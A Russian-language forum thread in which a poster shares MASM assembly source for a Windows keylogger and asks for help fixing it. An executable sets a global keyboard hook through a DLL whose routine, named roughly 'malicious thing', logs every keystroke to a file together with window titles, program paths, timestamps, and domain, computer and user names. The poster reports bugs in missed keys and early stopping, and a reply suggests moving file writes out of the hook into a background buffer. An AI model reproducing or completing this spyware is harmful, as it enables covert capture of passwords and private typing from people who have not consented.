Всем доброго времени суток. Решил написать клавиатурный шпион(опирался на вырезки из готового примера,но делал на память(прочитал пару раз и сел за делj)) Вот код: .exe,ставящий хук: Код (Text): .386 .model flat, stdcall ;32 bit memory model option casemap :none ;case sensitive include kurs.inc .code start: invoke LoadLibrary,ADDR LibName mov hLib,eax invoke GetProcAddress,hLib,ADDR FunctionName mov ZlovredstvoAddr,eax invoke SetWindowsHookEx,WH_KEYBOARD,ZlovredstvoAddr,hLib,0 mov hHook,eax invoke Sleep,50000 ;invoke UnhookWindowsHookEx,hHook invoke ExitProcess,NULL end start вот сама dll: Код (Text): .486 .model flat,stdcall option casemap:none extern fprintf:NEAR extern fflush:NEAR extern fopen:NEAR extern fclose:NEAR include HookDLL.inc .code DllEntry proc hInst:HINSTANCE, reason:DWORD, reserved1:DWORD mov eax, hInst mov hInstance, eax .if reason==DLL_PROCESS_ATTACH ;подключение процесса к библиотеке (загрузка ее в адресное пространство процесса) ;необходимо открыть файл,куда будут заноситься данные ;invoke CreateFile,ADDR fileName,GENERIC_READ or GENERIC_WRITE,FILE_SHARE_READ or FILE_SHARE_WRITE,NULL,CREATE_NEW,FILE_ATTRIBUTE_ARCHIVE,NULL push offset fileaccess push offset fileName call fopen add esp,8 mov hFile,eax;запоминаем хендл открытого нами файла .elseif reason==DLL_PROCESS_DETACH ;отключение процесса от библиотеки (выгрузка ее из адресного пространства процесса) ;надо завершить работу с открытым файлом push hFile call fclose add esp,04 ;invoke MessageBox,NULL,offset lpText,offset lpCaption,NULL .endif mov eax, TRUE ret DllEntry Endp Zlovredstvo proc nCode:DWORD, wParam:WPARAM, lParam:LPARAM ;Параметр wParam в обработчике хука WH_KEYBOARD содержит виртуальный код клавиши (например, VK_F1, VK_RETURN, VK_LEFT). Параметр lParam расшифровывается следующим образом: ;* Биты 0-15 содержат количество повторений нажатой клавиш ив случае залипания. ;----->;* Биты 16-23 содержат скан код нажатой клавиши. Это аппаратно зависимый код, который зависит от конкретной клавиатуры. ;* Бит 24 равен единице, если нажатая клавиша является расширенной (функциональной или на цифровой клавиатуре), иначе 0. ;* Биты 25-28 зарезервированы. ;* Бит 29 выставлен, если нажата кнопка Alt. ;* Бит 30 говорит нам о состоянии клавиши до отправки сообщения. Бит равен единице если до этого кнопка до отправки сообщения нажата, если кнопка была до этого не нажата, то бит равен нулю. ;* Бит 31 говорит о текущем состоянии клавиши. Он равен нулю, если кнопка в нажатом состоянии, и единица, если в не нажатом состоянии. LOCAL lpKeyState[256] :BYTE LOCAL lpClassName[64] :BYTE LOCAL lpCharBuf[32] :BYTE LOCAL lpDateBuf[12] :BYTE LOCAL lpTimeBuf[12] :BYTE LOCAL lpLocalTime :SYSTEMTIME lea edi,[lpKeyState] push 256/4 pop ecx xor eax,eax rep stosd invoke GetForegroundWindow cmp [hCurrentWindow],eax je NoWindowChange mov [hCurrentWindow],eax lea esi,[lpClassName] invoke GetClassName,[hCurrentWindow],esi,64 invoke GetLocalTime,ADDR lpLocalTime invoke GetDateFormat,NULL,NULL,ADDR lpLocalTime,ADDR hDateFormat,ADDR lpDateBuf,12 invoke GetTimeFormat,NULL,NULL,ADDR lpLocalTime,ADDR hTimeFormat,ADDR lpTimeBuf,12 lea esi,[hCurrentThreadPID] mov eax,[hCurrentWindow] invoke GetWindowThreadProcessId,eax,esi invoke CreateToolhelp32Snapshot,TH32CS_SNAPMODULE,hCurrentThreadPID mov hSnapShot,eax mov hModul.dwSize,sizeof MODULEENTRY32 invoke Module32First,[hSnapShot],offset hModul invoke CloseHandle,[hSnapShot] lea esi,[lpKeyState] invoke GetWindowText,[hCurrentWindow],esi,256 ;invoke MessageBox,NULL,offset lpText,offset lpCaption,NULL push offset hModul.szExePath;путь lea esi,[lpTimeBuf] push esi lea esi,[lpDateBuf] push esi pushz 13,10,"[ %s, %s - Program:%s]",13,10 push [hFile] call fprintf add esp,3*4 lea esi,[lpClassName] push esi lea esi,[lpKeyState] push esi pushz 13,10,"[Window Title:%s - Window Class:%s]",13,10 push [hFile] call fprintf ;записали mov hBuffer,128 invoke GetComputerNameEx,1,offset hDomaineName,offset hBuffer mov hBuffer,32 invoke GetComputerNameEx,0,offset hComputerName,offset hBuffer mov hBuffer,32 invoke GetUserName,offset hUserName,offset hBuffer push offset hUserName push offset hComputerName push offset hDomaineName pushz "[ Domain:%s - Computer:%s - User:%s]",13,10 push [hFile] call fprintf add esp,3*4 push [hFile] call fflush add esp,4 ;invoke MessageBox,NULL,offset lpText,offset lpCaption,NULL NoWindowChange: ;mov esi,[lParam] ;lodsd .if wParam==VK_SHIFT || wParam==VK_CAPITAL; jmp NextHook .elseif wParam==VK_ESCAPE || wParam==VK_BACK || wParam==VK_TAB ;invoke MessageBox,NULL,offset lpText,offset lpCaption,NULL jmp GetNameKey .endif lea edi,[lpCharBuf] push 32/4 pop ecx xor eax,eax rep stosd ; lea ebx,[lpKeyState] invoke GetKeyboardState,ebx;копируем статус 256 виртуальных ключей в определенный буфер(в lpKeyState,на начало которого указывает ebx) ;надо бы определить нажаты ли клавиши Shift и CapsLock invoke GetKeyState,VK_LSHIFT xchg esi,eax invoke GetKeyState,VK_RSHIFT or eax,esi;смотрим нажата ли клавиша Shift(если нажата,то al=1) mov byte ptr[ebx+16],al ;аналогичное дейтвие с клавишей CapsLock invoke GetKeyState,VK_CAPITAL mov byte ptr[ebx+20],al mov esi,[lParam] lea edi,[lpCharBuf] lodsd lodsd;закидываем в eax сканкод нажатой клавиши(берется из lParam) invoke ToAscii,wParam,eax,ebx,edi,00h;записываем в буфер значение нажатой клавиши. test eax,eax;если удалось перевести jnz test_carriage_return GetNameKey: lea edi,[lpCharBuf] invoke GetKeyNameText,lParam,edi,32 push edi pushz "[%s]" jmp WriteToFile test_carriage_return: push edi pushz "%s" cmp byte ptr[edi],0dh jne WriteToFile mov byte ptr[edi+1],0ah WriteToFile: push [hFile] call fprintf add esp,2*4 push [hFile] call fflush add esp,4 NextHook:;передача управления хуку,стоящему после установленного нами хука invoke CallNextHookEx,0,[nCode],[wParam],[lParam] ;invoke MessageBox,NULL,offset lpText,offset lpCaption,NULL ret Zlovredstvo endp End DllEntry Ну и соответственно баги,которые я не могу никак исправить: 1)обрабатывает почему-то не все клавиши 2)завершает запись,после записи одной клавиши Жду помощи знатоков.
Я хоть теоретик, но истину, что нельзя делать "тяжелые" операции в программах обработки прерываний(и хуков тоже) никто не отменял. Классика здесь такая : быстренько все пишем в буфер и в фоне этот буфер потихоньку пишем в файл. В принципе конечно fprintf не очень тяжелая, но уж fflush - наверняка.